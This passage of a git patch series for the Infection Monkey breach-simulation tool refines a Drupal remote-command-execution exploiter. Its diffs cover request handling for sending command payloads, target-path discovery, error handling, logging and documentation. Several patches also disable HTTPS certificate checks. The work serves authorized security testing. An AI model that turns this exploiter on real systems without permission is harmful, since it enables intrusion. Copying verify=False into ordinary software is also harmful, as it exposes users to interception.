* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
+
+One of the following conditions must hold:
* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
or POST requests; OR
* The site has another web services module enabled, like JSON:API in
@@ -25,7 +29,7 @@ Drupal 8, or Services or RESTful Web Services in Drupal 7.
### Notes
-* The _Infection Monkey_ exploiter implementation is based on an open-source
+* The Infection Monkey exploiter implementation is based on an open-source
[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
of the exploit by @leonjza.
* For the full attack to work, more than one vulnerable URL is required.
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
index 130171877..58672571b 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -133,7 +133,7 @@ EXPLOITER_CLASSES = {
],
"title": "Drupal Exploiter",
"info": "Exploits a remote command execution vulnerability",
- "link": ""
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
}
]
}
From afcbbb880cd7ad2f29c67bdd93a87486fb37b865 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:23:52 +0300
Subject: [PATCH 22/32] add to exploiter info
---
.../cc/services/config_schema/definitions/exploiter_classes.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
index 58672571b..0a5e671a3 100644
--- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -132,7 +132,8 @@ EXPLOITER_CLASSES = {
"DrupalExploiter"
],
"title": "Drupal Exploiter",
- "info": "Exploits a remote command execution vulnerability",
+ "info": "Exploits a remote command execution vulnerability in a Drupal server,"
+ "for which certain modules (such as RESTful Web Services) are enabled.",
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
}
]
From 4de9e92ce2bebcfb192545cbe93bb276308c12b8 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:51:01 +0300
Subject: [PATCH 23/32] I seriously have no idea how this happened
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
(*/ω\*)
---
monkey/monkey_island/cc/services/config.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 02dd91381..10ce690c0 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -218,7 +218,7 @@ class ConfigService:
def set_server_ips_in_config(config):
ips = local_ip_addresses()
config["internal"]["island_server"]["command_servers"] = \
- ["%s:%d" % (ip, env_singleton.env.get_islaned_port()) for ip in ips]
+ ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
@staticmethod
From ac731f5736b608014f55826f0fae7338d979777c Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:57:22 +0300
Subject: [PATCH 24/32] Remove redundant logs
---
monkey/infection_monkey/exploit/drupal.py | 3 ---
1 file changed, 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 8d017fb31..d1cf1f027 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -85,8 +85,6 @@ class DrupalExploiter(WebRCE):
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
- LOG.info(payload)
-
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if is_response_cached(r):
@@ -96,7 +94,6 @@ class DrupalExploiter(WebRCE):
LOG.warning('Command execution _may_ have failed')
result = r.text.split(ID_STRING)[-1]
- LOG.info(f'Drupal exploit result = {result}')
return result
def get_target_url(self):
From 8e14e74d940de3a55e429afc2f5b7abaa7539d69 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:20:22 +0300
Subject: [PATCH 25/32] add a path for Bitnami installations of Drupal
---
monkey/infection_monkey/exploit/drupal.py | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index d1cf1f027..4340f1bc9 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -33,7 +33,8 @@ class DrupalExploiter(WebRCE):
:return: the Drupal exploit config
"""
exploit_config = super(DrupalExploiter, self).get_exploit_config()
- exploit_config['url_extensions'] = ['node/']
+ exploit_config['url_extensions'] = ['node/', # In Linux, no path is added
+ 'drupal/node/'] # However, Bitnami installations are under /drupal
return exploit_config
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
From 93b978edac7349043d107378e2ee6dde9191a932 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:21:59 +0300
Subject: [PATCH 26/32] add a space
---
.../cc/ui/src/components/report-components/SecurityReport.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index 250f90546..63749ced1 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -794,7 +794,7 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-danger">remote command execution attack.
The attack was made possible because the server is using an old version of Drupal, for which REST API is
- enabled. For possible workarounds and more info read
+ enabled. For possible workarounds, fixes and more info read
here.
>
From c7b51bfe19ff473481e3b292e8b9c85d256725ff Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:42:46 +0300
Subject: [PATCH 27/32] print stack trace in exception
---
monkey/infection_monkey/exploit/HostExploiter.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py
index 86c966c92..274d07329 100644
--- a/monkey/infection_monkey/exploit/HostExploiter.py
+++ b/monkey/infection_monkey/exploit/HostExploiter.py
@@ -73,8 +73,8 @@ class HostExploiter(Plugin):
result = None
try:
result = self._exploit_host()
- except Exception as e:
- logger.warning(f'Exception in exploit_host: {e}')
+ except Exception as _:
+ logger.error(f'Exception in exploit_host', exc_info=True)
finally:
self.post_exploit()
return result
From 6efc7d8f8272285944c3230d1cf83b134ff0e211 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:43:08 +0300
Subject: [PATCH 28/32] don't verify HTTPS certificates
---
monkey/infection_monkey/exploit/drupal.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 4340f1bc9..fc876641d 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -130,7 +130,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
articles = set()
while lower < upper:
node_url = urljoin(base_url, str(lower))
- response = requests.get(node_url)
+ response = requests.get(node_url, verify=False)
if response.status_code == 200:
if is_response_cached(response):
LOG.info(f'Found a cached article at: {node_url}, skipping')
From cb6e516e792d3c61c30971ed43005c7a96975a6d Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 15:43:25 +0300
Subject: [PATCH 29/32] try to handle exceptions (not finished)
---
monkey/infection_monkey/exploit/drupal.py | 25 +++++++++++++----------
1 file changed, 14 insertions(+), 11 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index fc876641d..f28c002c3 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -46,17 +46,20 @@ class DrupalExploiter(WebRCE):
:return: None (in-place addition)
"""
for url in potential_urls:
- node_ids = find_exploitbale_article_ids(url)
- if node_ids is None:
- LOG.info('Could not find a Drupal node to attack')
- continue
- for node_id in node_ids:
- node_url = urljoin(url, str(node_id))
- if self.check_if_exploitable(node_url):
- self.add_vuln_url(url) # This is for report. Should be refactored in the future
- self.vulnerable_urls.append(node_url)
- if stop_checking:
- break
+ try:
+ node_ids = find_exploitbale_article_ids(url)
+ if node_ids is None:
+ LOG.info('Could not find a Drupal node to attack')
+ continue
+ for node_id in node_ids:
+ node_url = urljoin(url, str(node_id))
+ if self.check_if_exploitable(node_url):
+ self.add_vuln_url(url) # This is for report. Should be refactored in the future
+ self.vulnerable_urls.append(node_url)
+ if stop_checking:
+ break
+ except Exception as e: # We still don't know which errors to expect
+ LOG.error(f'url {url} failed in exploitability check: {e}')
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found")
From eb4f50a0ca309e589a2270396a4e67218e47872f Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 00:17:02 +0300
Subject: [PATCH 30/32] keep path after removing port from URL
---
monkey/common/network/network_utils.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py
index 859bafb1f..e99d0cf2b 100644
--- a/monkey/common/network/network_utils.py
+++ b/monkey/common/network/network_utils.py
@@ -16,5 +16,5 @@ def get_host_from_network_location(network_location: str) -> str:
def remove_port(url):
parsed = urlparse(url)
with_port = f'{parsed.scheme}://{parsed.netloc}'
- without_port = re.sub(':[0-9]+$', '', with_port)
+ without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
return without_port
From 702f5c1a41fcd5aa56ad655e17ee25ed54163500 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 00:17:46 +0300
Subject: [PATCH 31/32] verify=False for HTTPS requests
---
monkey/infection_monkey/exploit/drupal.py | 10 +++++++---
1 file changed, 7 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index f28c002c3..3a333d827 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -75,7 +75,8 @@ class DrupalExploiter(WebRCE):
response = requests.get(f'{url}?_format=hal_json',
json=payload,
- headers={"Content-Type": "application/hal+json"})
+ headers={"Content-Type": "application/hal+json"},
+ verify=False)
if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
@@ -89,8 +90,11 @@ class DrupalExploiter(WebRCE):
base = remove_port(url)
payload = build_cmd_execution_payload(base, cmd)
- r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
-
+ r = requests.get(f'{url}?_format=hal_json',
+ json=payload,
+ headers={"Content-Type": "application/hal+json"},
+ verify=False)
+
if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
From b9186376f997da5fe229af7ccebe199d922eda73 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Wed, 2 Sep 2020 00:18:12 +0300
Subject: [PATCH 32/32] add OS name to logs
---
monkey/infection_monkey/monkey.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 07431bae9..a15a06edf 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -337,8 +337,8 @@ class InfectionMonkey(object):
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
- LOG.info("Skipping exploiter %s host:%r, os is not supported",
- exploiter.__class__.__name__, machine)
+ LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
+ exploiter.__class__.__name__, machine, machine.os)
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)